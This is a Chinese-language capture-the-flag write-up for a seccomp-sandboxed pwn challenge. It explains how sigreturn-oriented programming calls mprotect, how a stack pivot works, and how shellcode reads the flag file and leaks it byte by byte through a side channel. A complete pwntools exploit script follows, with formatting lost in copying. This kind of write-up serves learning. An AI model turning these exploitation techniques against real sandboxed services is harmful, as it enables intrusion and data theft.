在这次的安洵杯比赛中,碰到了一个沙箱题

链接:https://pan.baidu.com/s/15H6PnPU3f0QXMTeSwIgJaA
提取码:chen

查看保护

我们seccomp-tools看一下

看清楚了上面显示的是白名单

我们先查看ida

代码原理很简单,第一个syscall是将easyhack打印出来

第二个syscall是可以向0x404060中输入最多0x1000个字符

第三个syscall还是打印

第四个syscall是向栈里面输入最多0x3a个字符(0x40119e就是沙箱)

该程序禁用了execve系统调用后,同时关闭了标准输出流,这意味着我们不能很轻易地打orw,这个时候我们就可以考虑使用测信道爆破了,侧信道爆破这个词听着很神奇,其实呢原理很简单,就是就是利用read和open将flag读到我们指定的内存中去,然后我们拿出一个字典去将flag进行逐个字位比较,这个时候我们需要自己视情况来设定程序错误崩溃情况,来判断该字典里的字符是否与写进内存里的flag中所对应的字符相等,这就是所谓的侧信道爆破。

当然光会这个来解题还是差很多,我们现在主要目的是怎么样将flag写到指定的内存中去,我们可以写一个shellcode,将flag写到内存中,这个也能解决

flag_addr=0x404300
shellcode ="""
mov rdi,0
mov rsi,0x404400
mov rdx,0x50
mov rax,0
syscall read 字典中的字符所输入的地方
push 0x67616c66 flag
push rsp
pop rdi
mov rsi,0
mov rax,2
syscall open 打开
mov rdi,rax
mov rsi,0x404300
mov rdx,0x50
mov rax,0
syscall
mov bl, byte ptr [rsi+{}]
cmp bl, {}
jz $-84 如果相等则进行下一步,如果不相等则返回 mov rdi,0
ret 利用循环来判断
"""

(由于我的ubuntu22.04怎么都不能一步步调试,只能直接贴了)

但是现在问题又来了,咱进行侧信道爆破得把flag文件打开,并写到内存中去,但是在内存中执行这个flag文件肯定需要

执行权限,我们wmmap看一下

没有符合我们可利用的地方,可是我们这个mprotect函数是可以用的,作用是更改目标区域的执行权限,但是哈我们无法直接控制寄存器来设置我们想要使用的mprotext函数所需要的参数,为啥?因为程序里面并没有(pop rdi,pop rsi等控制寄存器的指令),但是我们可以利用srop的手法来控制

frame=SigreturnFrame()
frame.rax=10 #mprotext的系统调用号
frame.rdi=0x404000 #改变权限的起始位置
frame.rsi=0x1000 #范围
frame.rdx=7 #rwx
frame.rip=syscall
frame.rsp=0x404160

执行后控制寄存器的效果如下1703671581905

通过这样我们就可以改变目标位置的执行权限了

1703671581905

最后我们合理调整栈帧,利用栈迁移就行了

exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
context.endian='little'
dic= "{}-fabcdefghijlmnopqrstuvwxyz01234567898" #根据需要设置字典
list = [ord(x) for x in dic]
suceess_flag=[]

def pwn(cnt,i):
p=process("./chal1")
#p=remote("47.108.206.43",32145)
print(i)
if i==0:
debug(p,0x404178)
syscall=0x000000000040118a
gdb.attach(p)
frame=SigreturnFrame()
frame.rax=10
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rip=syscall
frame.rsp=0x404160

#open("./flag",0)
#read(0,buf,0x50)
flag_addr=0x404300
shellcode ="""
mov rdi,0
mov rsi,0x404400
mov rdx,0x50
mov rax,0
syscall
push 0x67616c66
push rsp
pop rdi
mov rsi,0
mov rax,2
syscall
mov rdi,rax
mov rsi,0x404300
mov rdx,0x50
mov rax,0
syscall
mov bl, byte ptr [rsi+{}]
cmp bl, {}
jz $-84
ret
"""
#mov rax,2 wenjiandakai
sys_rt_sigreturn=0x401193
payload=p64(0x401193)+p64(syscall)+bytes(frame)+p64(0x40419e)+b"a"*16+asm(shellcode.format(cnt,list[i])) #b"a"*16自己试着调,能成功地将push 0x67616c66运行即可
p.sendafter("easyhack\n",payload)

leave_ret=0x401446
bss=0x404060
payload=b'a'*0x2a+p64(bss-8)+p64(leave_ret)
p.sendafter("Do u know what is SUID?\n",payload)
try:
sleep(0.3)
p.send('aaaa')
print('success===>',chr(list[i]))
suceess_flag.append(chr(list[i]))
# pause()
return 1
except:
return 0
#p.interactive()


cnt=0
while 1:
for i in range(len(dic)):
panduan=pwn(cnt,i)
if panduan==1:
break
cnt=cnt+1
print(suceess_flag)
pause()

我们查看结果1703671581905